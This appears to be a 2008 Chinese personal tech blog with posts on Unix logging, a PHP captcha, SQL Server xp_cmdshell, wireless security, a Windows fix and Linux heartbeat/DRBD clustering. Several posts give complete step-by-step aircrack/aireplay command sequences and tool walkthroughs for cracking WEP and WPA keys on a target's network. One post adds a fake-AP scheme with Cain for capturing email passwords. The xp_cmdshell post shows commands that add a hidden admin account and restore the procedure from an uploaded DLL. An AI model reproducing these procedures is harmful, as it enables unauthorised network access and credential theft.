  tio--I/O操作的总数

  u--用户时间,以分钟计

  例如:

842 173.26re 4.30cp 0avio 358k
2 10.98re 4.06cp 0avio 299k find
9 24.80re 0.05cp 0avio 291k ***other
105 30.44re 0.03cp 0avio 302k ping
104 30.55re 0.03cp 0avio 394k sh
162 0.11re 0.03cp 0avio 413k security.sh*
154 0.03re 0.02cp 0avio 273k ls
56 31.61re 0.02cp 0avio 823k ping6.pl*
2 3.23re 0.02cp 0avio 822k ping6.pl
35 0.02re 0.01cp 0avio 257k md5sum
97 0.02re 0.01cp 0avio 263k initlog
12 0.19re 0.01cp 0avio 399k promisc_check.s
15 0.09re 0.00cp 0avio 288k grep
11 0.08re 0.00cp 0avio 332k awk

  用户还可以根据用户而不是命令来提供一个摘要报告。例如sa -m显示如下:

885 173.28re 4.31cp 0avk
root 879 173.23re 4.31cp 0avk
alias 3 0.05re 0.00cp 0avk
qmailp 3 0.01re 0.00cp 0avk

  4. Syslog设备

  Syslog已被许多日志函数采纳,它用在许多保护措施中--任何程序都可以通过syslog 纪录事件。Syslog可以纪录系统事件,可以写到一个文件或设备中,或给用户发送一个信息。它能纪录本地事件或通过网络纪录另一个主机上的事件。

  Syslog设备依据两个重要的文件:/etc/syslogd(守护进程)和/etc/syslog.conf配置文件,习惯上,多数syslog信息被写到/var/adm或/var/log目录下的信息文件中(messages.*)。一个典型的syslog纪录包括生成程序的名字和一个文本信息。它还包括一个设备和一个优先级范围(但不在日之中出现)。

  每个syslog消息被赋予下面的主要设备之一:

  LOG_AUTH--认证系统:login、su、getty等

  LOG_AUTHPRIV--同LOG_AUTH,但只登录到所选择的单个用户可读的文件中

  LOG_CRON--cron守护进程

  LOG_DAEMON--其他系统守护进程,如routed

  LOG_FTP--文件传输协议:ftpd、tftpd

  LOG_KERN--内核产生的消息

  LOG_LPR--系统打印机缓冲池:lpr、lpd

  LOG_MAIL--电子邮件系统

  LOG_NEWS--网络新闻系统

  LOG_SYSLOG--由syslogd(8)产生的内部消息

  LOG_USER--随机用户进程产生的消息

  LOG_UUCP--UUCP子系统

  LOG_LOCAL0~LOG_LOCAL7--为本地使用保留

  Syslog为每个事件赋予几个不同的优先级:

  LOG_EMERG--紧急情况

  LOG_ALERT--应该被立即改正的问题,如系统数据库破坏

  LOG_CRIT--重要情况,如硬盘错误

  LOG_ERR--错误

  LOG_WARNING--警告信息

  LOG_NOTICE--不是错误情况,但是可能需要处理

  LOG_INFO--情报信息

  LOG_DEBUG--包含情报的信息,通常旨在调试一个程序时使用

  syslog.conf文件指明syslogd程序纪录日志的行为,该程序在启动时查询配置文件。该文件由不同程序或消息分类的单个条目组成,每个占一行。对每类消息提供一个选择域和一个动作域。这些域由tab隔开:选择域指明消息的类型和优先级;动作域指明syslogd接收到一个与选择标准相匹配的消息时所执行的动作。每个选项是由设备和优先级组成。当指明一个优先级时,syslogd将纪录一个拥有相同或更高优先级的消息。所以如果指明"crit",那所有标为crit、alert和emerg的消息将被纪录。每行的行动域指明当选择域选择了一个给定消息后应该把他发送到哪儿。例如,如果想把所有邮件消息纪录到一个文件中,如下:

#Log all the mail messages in one place
mail.* /var/log/maillog

  其他设备也有自己的日志。UUCP和news设备能产生许多外部消息。它把这些消息存到自己的日志(/var/log/spooler)中并把级别限为"err"或更高。例如:

# Save mail and news errors of level err and higher in aspecial file.
uucp,news.crit /var/log/spooler

  当一个紧急消息到来时,可能想让所有的用户都得到。也可能想让自己的日志接收并保存。

#Everybody gets emergency messages, plus log them on anther machine
*.emerg *
*.emerg @linuxaid.com.cn

  alert消息应该写到root和tiger的个人账号中:

#Root and Tiger get alert and higher messages
*.alert root,tiger

  有时syslogd将产生大量的消息。例如内核("kern"设备)可能很冗长。用户可能想把内核消息纪录到/dev/console中。下面的例子表明内核日志纪录被注释掉了:

#Log all kernel messages to the console
#Logging much else clutters up the screen
#kern.* /dev/console

  用户可以在一行中指明所有的设备。下面的例子把info或更高级别的消息送到/var/log/messages,除了mail以外。级别"none"禁止一个设备:

#Log anything(except mail)of level info or higher
#Don't log private authentication messages!
*.info:mail.none;authpriv.none /var/log/messages

  在有些情况下,可以把日志送到打印机,这样网络入侵者怎么修改日志都没有用了。通常要广泛纪录日志。Syslog设备是一个攻击者的显著目标。一个为其他主机维护日志的系统对于防范服务器攻击特别脆弱,因此要特别注意。

  有个小命令logger为syslog(3)系统日志文件提供一个shell命令接口,使用户能创建日志文件中的条目。用法:logger 例如:logger This is a test!

  它将产生一个如下的syslog纪录:Aug 19 22:22:34 tiger: This is a test!

  注意不要完全相信日志,因为攻击者很容易修改它的。

  5. 程序日志

  许多程序通过维护日志来反映系统的安全状态。su命令允许用户获得另一个用户的权限,所以它的安全很重要,它的文件为sulog。同样的还有sudolog。另外,想Apache有两个日志:access_log和error_log。

  6. 其他日志工具

chklastlog
ftp://coast.cs.purdue.edu/pub/tools/unix/chklastlog/
chkwtmp
ftp://coast.cs.purdue.edu/pub/tools/unix/chkwtmp/
dump_lastlog
ftp://coast.cs.purdue.edu/pub/tools/unix/dump_lastlog.Z
spar
ftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/
Swatch
http://www.lomar.org/komar/alek/pres/swatch/cover.html
Zap
ftp://caost.cs.purdue.edu/pub/tools/unix/zap.tar.gz
日志分类方法
http://csrc.nist.gov/nissc/1998/proceedings/paperD1.pdf

Posted by vitter at 2008-08-14 11:55:32 | 评论 (1) | 引用

July 28, 2008

留言板加上验证码

留言板发现N多垃圾留言,没办法这个年代就是垃圾多啊。加个验证码吧。
先写个seccode.php:

<?php
                header ("Content-type: image/png");

                session_start();
                if (!session_is_registered("seccode")){
                        session_register("seccode");
                }

                $seccode = rand(1000, 9999);
                $_SESSION['seccode'] = $seccode;

                $im = @imagecreate (48, 20);
                $background_color = imagecolorallocate ($im, 255, 255, 255);

                //设置干扰像素,防止被OCR
                for ($i = 0; $i <= 128; $i++){
                        $point_color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255));
                        imagesetpixel($im, rand(2,128), rand(2,38), $point_color);
                }

                //逐个画上验证码字符
                for ($i=0; $i<=4; $i++){
                        $text_color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255));
                        $x = 5 + $i * 10;
                        $y = 4;
                        imagechar ($im, 5, $x, $y, substr($seccode, $i, 1), $text_color);
                }

                //输出PNG图像
                imagepng ($im);
                imagedestroy ($im);

?>

在留言文件addnote.php的php开始部分加入:

session_start();
if(PHP_VERSION < '4.1.0') {
        $_SESSION = &$HTTP_SESSION_VARS;
}

判断输入部分加入:

      elseif($code=="" or $code!=$_SESSION['seccode']) {
        echo "<center>请输入正确的验证码!<BR>"."<a href='javascript:history.back()'>返回</a></center>";
      exit; }

输入部分:

                验证码<input name="code" type="text" style="width:50px;" value=""/>
                <script>
                        function refimg(){
                                var randval = Math.random();
                                document.getElementById("secunum").src="seccode.php?rnum="+randval;
                        }
                </script>
               <img src="seccode.php" id="secunum" onclick="refimg()" style="cursor : pointer;"> &nbsp;&nbsp;&nbsp;<span class="redzi12_px">(如果看不清请点击图片进行更换.)</span>

测试ok,这下世界清净多了。

Posted by vitter at 2008-07-28 21:28:18 | 评论 (0) | 引用

June 21, 2008

sql server 2000 删除xp cmdshell存储过程

存储过程是存储在 SQLServer中的预先写好的SQL语句集合,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令,而SA是 Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:

exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add'

这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户,如图一所示。

删除方法为:

到sql server的查询分析器中,试用存储过程sp_dropextendedproc就可删除xp_cmdshell这个存储过程。

格式为:EXEC sp_dropextendedproc 'xp_cmdshell'

需要时可使用sp_addextendedproc恢复

格式为:EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'。

彻底删除SQL Server2000的xp_cmdShell扩展存贮过程

一、xp_cmdshell的删除及恢复

1、判断xp_cmdshell是否存在

(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')

返回结果为1就ok

2、恢复xp_cmdshell的方法

删除扩展存储过过程xp_cmdshell的语句

exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and

返回结果为1就ok

否则需上传c:\inetput\web\xplog70.dll后

exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;--

如果是用以下方法删除

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

则可以用以下语句恢复

dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

3.彻底删除xp_cmdshell扩展存储过程

使用上面介绍的删除语句后,在磁盘上找到xplog70.dll这个文件。改名或者删除这个文件。

关于XP_CmdShell的其他信息参加MS文档:http://support.microsoft.com/kb/891984

Posted by vitter at 2008-06-21 15:19:23 | 评论 (0) | 引用

June 16, 2008

Intel 3945ABG用OmniPeek 4.1抓包破解WEP

测试目的:破解WEP加密
测试系统:WINXP/SP2
无线网卡:Intel PRO/Wireless 3945ABG
测试软件:Network Stumbler、OmniPeek 4.1和WinAircrack
测试机器:DELL 640M
1.首先还是要先用Network Stumbler软件找出你要破解的信号的频段和AP的MAC地址,就是软件开头那12位值

2.将Intel PRO/Wireless 3945ABG
驱动升级为10.5.1.72 or 10.5.1.75,有装管理软件请先关闭。
下载文件 Intel PRO/Wireless 3945ABG驱动下载(版本:10.5.1.75 )

3.OmniPeek 4.1软件WildPackets API显示为YES,则说明已正常识别网卡。
下载文件 Microsoft .NET Framework 2.0 SP2下载
(先安装Microsoft .NET Framework 2.0 然后再装WildPackets OmniPeek Personal 4.1)
下载文件 WildPackets OmniPeek Personal 4.1下载

4.如果我们只是抓WEP数据包的话,设置一下只允许抓WEP的数据包。按ctrl+M打开过滤器列表中没有“802.11 WEP Data”过滤项,我们可以增加一个“802.11 WEP Data过滤项”点击左上角绿色“十”字。

5.Filter输入802.11 wep data,在protocol filter中选择802.11 wep data并打勾protocol filter。

6.然后我们要设置一下内存缓存大小,General-Buffer size,调整为100M就足够(这步很重要不然要抓很多次包)。

7.802.11设置好信号的频道,在BSSID中输入AP的MAC(为什么只设置AP的MAC地址呢?是这样子的在多个同名SSID的AP的情况下设置SSID没有用的)

8.在“Filters”选项中在“801.11 WEP Data ”打勾,就是只抓801.11 WEP数据包,过渡掉不需要的包。然后点确定。

9.点栏口中右边绿色按钮"start  capture"就开始抓包。

10.抓包的过程不小心给点stop capture,可以按住shift点start  capture就可以接着抓包了。如当次抓不到所达到数据包量时,可以保存数据包供下次一起加载破解。如果抓包结束了点start capture,按ctrl+S保存。

11.然后保存为DMP格式。

12.打开WinAircrack,打开刚刚保存DMP格式文件,可以一起加载几次抓包数据。

13.选择为64位加密,不确定是64位加密可以不选,点确定。

14.选择你要破解的,这里很好选择看后面IVS值最大就可以了。

15.破解出来WEP64位加密。

Posted by vitter at 2008-06-16 22:15:59 | 评论 (0) | 引用

无线不是舍己为人 网络安防同样重要

在公共地点使用无线的注意事项

对于经常参加现场发布会的新闻工作者和习惯使用公共无线热点的朋友来说,关闭自己系统的“文档和打印共享功能”是十分必要的。因为一般公共热点都是面向所有人免费开放的,并不禁止一个客户端对另一个客户端的访问。

另一方面,我们在公共场所无线上网时也要善于分辨哪些热点是“网络陷阱”。有些黑客会在公共场合设置一个伪装的无线存取设备,来吸引使用者上钩。当伪装的无线设备信号强度非常好时,最容易吸引用户上当受骗。此时,黑客便可等着收取受害者键入的密码,或将病毒码输入受害者计算机中。

选择适当的无线信号覆盖范围

一直以来我们将无线路由器的信号覆盖范围看作是其性能高低的重要标识。其实对于一般家庭用户来说,适当的无线信号覆盖范围将有效的减少网络安全事件的发生。

随着无线技术的发展,破解和入侵手段也变的越来越高明。很多破解无线加密的工具开始逐渐为人所知,也就是说在用户采取安全措施的同时,只要入侵者能搜索到你的网络,就有可能进行破解。但如果我们适当的控制信号覆盖范围,就能彻底保证网络的安全性。

现在大多数无线路由器都具备功率调节功能,这样用户就可以缩小自己的无线网络覆盖范围,使得屋外或相邻的空间内搜索不到你的无线信号,从而保证安全。
有关无线路由器和无线AP差别,详情请参见条目:教你如何区分无线路由器和无线AP差别。

常见防御手段

Mac地址控制

随着无线路由器价格的不断下调,很多个人用户甚至是只有一台电脑的朋友都开始倾向于组件无线网络。
有关交换机、集线器、路由器三者的区别,详情请参见条目:交换机、集线器、路由器区别和使用浅谈。

对于以上这种情况,我们建议您采用Mac地址控制功能,将客户端的Mac地址添加到允许访问通过的列表中,以确保别人无法进入你的无线网络。

善用访问列表

开启无线路由器的访问控制列表功能可以具体地指定允许哪些机器连接到访问点,从而让使用者做到心中有数,尽可能的避免其他非法连接。

三关闭 一开启

    * 关闭SSID:

SSID可以让无线客户端对不同无线网络进行识别。一般SSID都是被无线路由器广播出去的,客户端只有收到这个参数或者手动设定与AP相同的SSID才能连接到无线网络。而我们如果把这个广播禁止,一般的漫游用户在无法找到 SSID的情况下是无法连接到网络的。

    * 关闭DHCP:

关闭DHCP的目的在于入侵者将不得不破解你的IP地址、子网掩码及其它所需的TCP/IP参数,因为如果入侵者不知道你的IP地址,就无法利用你的无线网络进行任何操作。

    * 关闭SNMP:

关于SNMP设置,或者改变公开及专用的共用字符串。以防止黑客利用SNMP获得有关你方网络的重要信息。

    * 开启无线加密:

与WEP加密相比,目前的WPA甚至其第二代技术已经相当完善了。不过,对于企业级用户来说可能还需要在此基础上进行加强,例如对办公区的用户进行分类授权等方法;但对于个人用户的网络安全来说,WPA几乎可以使我们免受一切攻击。我们需要作的只是在路由器设置列表里加上密码,以防止非法入侵和保护终端上文件的安全。

总结

很多时候,无线网络的安全问题其实并不是处于产品本身的原因,而是由于我们没有使用合适的工具或者充分发挥产品本身的性能优势。随着破解技术和相关工具的发展,一些非常规入侵手段也频频出现,如果您愿意了解更多关于无线安防的资料,不妨参考无线网络的攻与防一文。

Posted by vitter at 2008-06-16 13:06:03 | 评论 (0) | 引用

BT3 破解有客户端无线WEP密码成功 完美支持Intel 2200BG

刚在BT3下用2200破解了一个wep加密了的无线网络,写一下具体的方法,我想2200的卡还是非常普及的,有兴趣的可以试试看。
完整的命令如下
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
iwconfig eth1 ap <AP MAC>
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed
fconfig eth1 up
ifconfig rtap0 up
airodump-ng --channel <Access Point channel> --bssid <AP MAC> -w dumpfile rtap0
这时你观察station下面是不是有对方的机器,如果客户端有在上网,那么station下面就会有对方的MAC,记下来。
5、打开新的窗口,输入
aireplay-ng --arpreplay -b <AP MAC> -h <客户机的 MAC> -i rtap0 eth1
此时如果对方有客户端在上网,那么DATA的数据会增加,我刚才的情况是有客户端,但是RXQ信号很弱,差不多只有13左右,10分钟才增加了300个 date,不过10分钟后RXQ超过50,接着DATA极速增加,此时在第5步打开的窗口中,ARP得到的数据也会同时增加。
6、当DATA超过100000后,打开新的窗口,输入
aircrack-ng -z -b <AP MAC> dumpfile*.cap
然后就大功告成,抄下密码,上网去吧,嘿嘿。
上面就是BT3光盘启动下,最简单的破解有客户端WEP的全部过程,如果信号好的话,估计也就10来分钟搞定。
Ps:上面命令中的< >是不需要的。

国外的网站上专门有一篇介绍2200破解的,具体原理可参考 http://tinyshell.be/aircrackng/forum/index.php?topic=1775.0

Posted by vitter at 2008-06-16 13:00:50 | 评论 (0) | 引用

backtrack3(BT3) usb版 破解WEP无线网络密码详细步骤

一、先开始制作启动U盘:将下载好的backtrack3(BT3) usb版(下载地址在文章末尾)文件bt3b141207.rar直接解压到U盘(1G以上容量)。把Boot 和BT3两个文件夹放到U盘的根目录,打开BOOT文件夹双击运行" bootinst.bat "批处理文件。U盘里就会多出4个文件." isolinux.boot" "isolinux.cfg" "isolinux.bin " "syslinux.cfg" (如果想要中文截面的BT3的菜单,就在下载BT3中文语言包。下载地址:http://file.mofile.com/cn/docs/listallfiles.do 提取密码:4871454552251231。(用的是免费的网络硬盘,广告较多,有些朋友可能没认真看没找到,我说下大概位置,输入提取码后,拉到中间找下面的几个字(红色的) 以下这三个链接后两个均可下载
推荐快车(flashget)高速下载文件 下载文件(IE浏览器) 下载文件(非IE浏览器)
)把压缩包里的"中文包"解压出来,将里面的*.lzm文件拷贝到u盘的BT3\modules目录,即可实现bt3中文化。)

二、之后重启 windows 进入BIOS设置,把BIOS里的frist boot device设置为USB-HDD(或者是USB--ZIP)再重启选择从usb启动。系统进入backtrack3 系统。

三、现在开始破解
1.在shell窗口中输入 ifconfig 命令 ,出现如下信息:
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:(......)Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

2.找出你的无线网卡名字,我这里是 eth1.再启动你的网卡为Moniter模式(输入airmon-ng start eth1 11)。再输入 ifconfig 命令 ,返回如下信息:
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

3. 输入命令 airodump-ng -c 11 --bssid 00:1A:01:8D:C3:B2 -w outputs eth1.
命令中的11 表示要破解的频道号,bssid后面的数字表示破解目标的MAC物理地址,outputs表示要生成的包的名称。回车运行。

4.再开一个 shell 输入 aireplay-ng -1 0 -e targetnet -a 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
其中“targetnet”表示破解目标网络名,00:1A:01:8D:C3:B2前面已解释过是指目标MAC物理地址,00:A1:C1:D8:A5:B6表示本机网卡MAC物理地址

5.再开一个 shell 输入 aireplay-ng -3 -b 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
获取更多的数据包。

6.返回数据量到1万的时候就可以破解了。再开一个shell输入 aircrack-ng -z -b 00:1A:01:8D:C3:B2 outputs.cap 进行破解。如果破解不成功,让它继续抓包,直到破解。

注:backtrack3(BT3) usb版下载地址:BT3(backtrack3) usb版 下载地址列表

Posted by vitter at 2008-06-16 12:58:50 | 评论 (0) | 引用

破解无线网络WEP/WPA密钥

1、破解软件简介
  WinAirCrackPack工具包是一款无线局域网扫描和密钥破解工具,主要包括airodump和aircrack等工具。它可以监视无线网络中传输的数据,收集数据包,并能计算出WEP/WPA密钥。

2、实验环境系统组成
 2.1 硬件环境
  选用具有WEP和WPA加密功能的无线路由器或AP一台
  带有迅驰无线网卡的笔记本电脑两台(分别定义为STA1和STA2,作为合法无线接入用户)
  抓包无线网卡一块
  笔记本电脑一台(定义为STA3,作为入侵者)
 2.2 软件环境
  入侵者STA3 :WinAirCrackPack工具包,
  注意:STA3要开启在控制面板->管理工具->服务中开启Wireless Zero Config服务。

3、实验拓扑图
     略。

4、配置无线路由器(根据实际网络环境进行配置)
  (1)STA1连接上无线路由器(默认未加密)。右键单击屏幕下的 图标,选择“查看可用的无线网络”,弹出如图1所示的窗口。
  其中显示有多个可用的无线网络,双击TP-LINK连接无线路由器,一会儿就连接成功。
  (2)打开IE浏览器,输入IP地址:192.168.1.1(无线路由器默认局域网IP地址)。
  (3)登录无线路由器管理界面(用户名:admin,密码:admin)。
  单击界面左侧的“网络参数”下的“LAN口设置”选项,设置“IP地址”为192.168.1.8并保存,如图4所示。
  (4)打开IE浏览器,输入IP地址:192.168.1.8,重新登录无线路由器管理界面(注意本实验选择TP-LINK无线路由器,其他品牌产品如CISCO等均有类似配置选项),单击界面左侧的“无线设置”下的“基本设置”选项。
  1)选择“模式”为“54Mbps(802.11g)”;
  2)选择“密钥格式”为“ASCII码”;
  3)选择“密钥类型”为“64位”;
  4)设置“密钥1”为“pjwep”;
  5)单击“保存”。
  (5)当无线路由器设置好WEP密钥后,STA1需要重新连接上无线路由器(输入的密钥与无线路由器设置的密钥相同),一会儿就连接成功。
  (6)打开IE浏览器,输入IP地址:192.168.1.8,重新登录无线路由器管理界面,单击界面左侧的“DHCP服务器”下的“DHCP服务”选项,单击“不启用”并保存,如图8所示,单击“系统工具”下的“重启路由器”对路由器进行重启。

5、破解WEP、WPA密钥的软件下载
http://www.xdowns.com/soft/1/66/2007/Soft_39170.html

基于802.11的嗅探工具集,具有破解wep密钥等功能

aircrack.exe 原WIN32版aircrack程序
airdecap.exe      WEP/WPA解码程序
airodump.exe 数据帧捕捉程序
Updater.exe WIN32版aircrack的升级程序
WinAircrack.exe      WIN32版aircrack图形前端
wzcook.exe 本地无线网卡缓存中的WEPKEY记录程序

我们本次实验的目的是通过捕捉适当的数据帧进行IV(初始化向量)暴力破解得到WEP KEY,因此只需要使用airodump.exe(捕捉数据帧用)与WinAircrack.exe(破解WEP KEY用)两个程序就可以了

6、安装抓包无线网卡
  注:用于抓包无线网卡的驱动采用Atheros v4.2.1,该卡必须采用Atheros AR5001, AR5002, AR5004, AR5005 或 AR5006芯片组,下表的网卡均可使用,本实验我们采用Netgear 的108M无线网卡(型号:WG511T)。
  (1)在STA3笔记本上安装抓包无线网卡驱动。插入无线网卡,弹出如图11所示的窗口。选择“否,暂时不”,单击“下一步”。
  (2) 选择“从列表或指定位置安装”,单击“下一步”。
  (3)选择“不要搜索”,单击“下一步”。
  (4)单击“从磁盘安装”,在弹出的窗口中单击“浏览”,选择E:\WinAircrackPack\atheros421@(目录下的net5211文件,单击“打开”,然后单击“确定”,单击“下一步”,在安装的过程中弹出如图15所示的窗口。

7、破解WEP密钥
  (1)让STA1和STA2重新连接上无线路由器。
  (2)在STA3笔记本电脑上运行airodump,该工具用来捕获数据包,按提示依次选择“16”:破解所用无线网卡的序号;
  “a”,选择芯片类型,这里选择atheros芯片;
  “6”,信道号,一般1、6、11是常用的信道号,选择“0”可以收集全部信道信息;
  “testwep”(该输入文件名可任意);
  “y”,破解WEP时候选择“y”,破解WPA时选择“n”。
  (3)回车后,进入以下界面。
  (4)当该AP的通信数据流量极度频繁(比如可以采用STA1与STA2对拷文件来产生数据流量),“Packets”所对应的数值增长速度就会越大。当大概抓到30万(如采用104位RC4加密需要抓到100万包)“Packets”时关闭airodump窗口,启动 WinAircrack。
  (5)点击左侧的“General”进行设置,选择加密类型为“WEP”,添加捕获的文件(testwep.ivs)。
  (6)点击左侧的“Advanced”进行设置,选择“Aircrack”所在的位置。
  (7)全部设置完后,点击右下角的“Aircrack the key”按钮弹出以下窗口。
  (8)选择要破解网络的BSSID(本实验选择“1”),回车得到最终WEP密钥。

8、破解WPA密钥
  (1)修改无线路由器的加密类型和加密方法,并设置为WPA-PSK认证和TKIP加密方式。
  (2)在STA3笔记本上运行airodump,该工具用来捕获数据包,按提示依次选择“16”,“a”,“6”,“testwpa”(该输入文件名可任意),“n”。
  (3)回车后,进入以下界面
  (4)让STA1重新连接上无线路由器,airodump将捕获一个无线路由器与STA1四次握手的过程。
  (5)启动WinAircrack。
  (6)点击左侧的“General”进行设置,选择加密类型为“WPA-PSK”,添加捕获的文件(testwpa.cap)。
  (7)点击左侧的“Wpa”进行设置,选择一个字典文件(口令字典可下载:例如lastbit.com/dict.asp)。
  (8)全部设置完后,点击右下角的“Aircrack the key”按钮弹出以下窗口,可知已经捕获到一次握手的过程。
  (9)选择要破解网络的BSSID(本实验选择“2”),回车后经过几分钟的计算,最终得到WPA密钥。

9、破解密钥后对网络的危害一例(伪造AP)
  一旦入侵者知道了无线网络的WEP或WPA密钥,就可以连接到本地局域网内,这样入侵者就享有与正常接入用户一样对整个网络访问的权限,进行深度攻击。入侵者可以利用IPBOOK,SuperScan 等类似这样的工具扫描局域网内的计算机,计算机里面的文件、目录、或者整个的硬盘驱动器能够被复制或删除,甚至其他更坏的情况诸如键盘记录、特洛伊木马、间谍程序或其他的恶意程序等等能够被安装到你的系统中,这样后果是非常严重的。
  (1)简介
  当WEP或WPA密码被破解后,入侵者可能用该密码和其他无线接入点(AP)构造一个假网络,当伪装AP的信号强于正常AP或用户靠近伪装 AP时,正常用户会很自然的接入到该假网络中,对于用户本身来说是感觉不到该网络的,就在用户正常收发邮件时,我们可以用类似CAIN这样的工具进行POP3、telnet等口令的破解等攻击。
  (2)POP3口令破解
  1)打开CAIN。
  2)点击菜单栏“Configure”弹出以下窗口。
  3)选择一个将用于抓包的网络适配器,点击“确定”,选择“ ”和“ ”,然后点击“ ”开始监控抓包。
  4)正常用户开始收邮件,该软件可以对邮箱的登陆名和密码进行捕获。
  (3)被破解后的危害
  当黑客窃取了你的邮箱的用户名、密码、POP3服务器和SMTP服务器的IP地址后,就可以直接访问你的邮箱,你的邮件信息将完全暴露在黑客面前。

Posted by vitter at 2008-06-16 12:56:52 | 评论 (0) | 引用

May 13, 2008

奇异的lsass.exe系统错误:终结点格式无效

今天LP说家里的机器进不了系统。晚上下班看了下:

开机进入桌面前出现lsass.exe系统错误,提示:终结点格式无效。点击确认后机器重起,然后又出现同样错误提示。

试着F8还能进安全模式,查了半天病毒和恶意插件,驱动什么的都没啥问题,唯一异常的是日志满了,清空日志还是不行。

网上找了些类似的问题,无非就是病毒、插件、驱动问题。各种方式都试过了,关键是没有找到啥恶意插件。

最后看了看系统还没打SP3,呵呵,终于想到一个奇技淫巧:装Windows XP SP3。进入带网络的安全模式,拷贝一份SP3安装程序,安装重启,OK解决问题。登录前居然又报日志满,进去看看也没异常,清空。

Posted by vitter at 2008-05-13 21:07:44 | 评论 (0) | 引用

April 08, 2008

inux高可用(HA)集群笔记heartbeat+drbd+nfs

by:http://blog.vfocus.net

heartbeat+drbd

    如果主服务器宕机,造成的损失是不可估量的。要保证主服务器不间断服务,就需要对服务器实现冗余。在众多的实现服务器冗余的解决方案中,heartbeat为我们提供了廉价的、可伸缩的高可用集群方案。我们通过heartbeat+drbd在Linux下创建一个高可用(HA)的集群服务器。
    DRBD是一种块设备,可以被用于高可用(HA)之中。它类似于一个网络RAID-1功能。当你将数据写入本地文件系统时,数据还将会被发送到网络中另一台主机上。以相同的形式记录在一个文件系统中。本地(主节点)与远程主机(备节点)的数据可以保证实时同步。当本地系统出现故障时,远程主机上还会保留有一份相同的数据,可以继续使用。在高可用(HA)中使用DRBD功能,可以代替使用一个共享盘阵。因为数据同时存在于本地主机和远程主机上。切换时,远程主机只要使用它上面的那份备份数据,就可以继续进行服务了。

安装heartbeat

[root@manager src]# rpm -ivh e2fsprogs-1.35-7.1.i386.rpm
[root@manager src]# tar zxvf libnet.tar.gz
[root@manager libnet]# ./configure
[root@manager libnet]# make
[root@manager libnet]# make install
[root@manager src]# tar zxvf heartbeat-2.1.2.tar.tar
[root@manager src]# cd heartbeat-2.1.2
[root@manager heartbeat-2.1.2]# ./ConfigureMe configure
[root@manager heartbeat-2.1.2]# make
[root@manager heartbeat-2.1.2]# make install
[root@manager heartbeat-2.1.2]# cp doc/ha.cf /etc/ha.d/
[root@manager heartbeat-2.1.2]# cp doc/haresources /etc/ha.d/
[root@manager heartbeat-2.1.2]# cp doc/authkeys /etc/ha.d/
[root@manager heartbeat-2.1.2]# cd /etc/ha.d/
开始编辑配置文件(两台机器上都需要安装和配置)
(heartbeat的配置比较简单,网上也有很多例子,这里就不多废话了)

clip_image001

开始编译安装DRBD

[root@manager root]# cp drbd-8.2.1.tar.tar /usr/src/
[root@manager root]# cd /usr/src/
[root@manager src]# tar zxvf drbd-8.2.1.tar.tar
[root@manager src]# cd drbd-8.2.1
[root@manager src]# make KERNVER=2.6.17.11 KDIR=/usr/src/linux-2.6.17.11

如果编译顺利可以看到Module build was successful.
[root@manager drbd-8.2.1]# make install

可以编辑配置文件了

[root@manager drbd-8.2.1]# vi /etc/drbd.conf
在manager和manage_bak上都需要安装drbd服务。
分别在两台机器上配置好/etc/drbd.conf
[root@manager_bak root]# grep -v "#" /etc/drbd.conf
global {
    usage-count yes;                  (是否参加使用者统计,yes为参加)
}
common {
  syncer { rate 300M; }
}
resource r0 {
  protocol C;                            (数据同步协议,C为收到数据并写入后返回,确认成功)
  disk {
    on-io-error   detach;
     size 100G;                         (由于实验环境下两台服务器硬盘大小不同,所以需要设置drbd的大小)
  }
  net {
    after-sb-0pri disconnect;
    rr-conflict disconnect;
  }
  syncer {
    rate 300M;                           (设置网络同步速率)
    al-extents 257;
  }
  on manager_bak {
    device     /dev/drbd0;
    disk       /dev/sda3;
    address    192.168.0.2:7788;
    meta-disk  internal;
  }
  on manager {
    device    /dev/drbd0;
    disk      /dev/sdc;
    address   192.168.0.1:7788;
    meta-disk internal;
  }
}

在启动DRBD之前,需要创建供DRBD记录信息的数据块.分别在两台主机上执行:

[root@manager ha.d]# drbdadm create-md r0
[root@manager ha.d]#mknod /dev/drbd0 b 147 0
[root@manager ha.d]# /etc/init.d/drbd srart

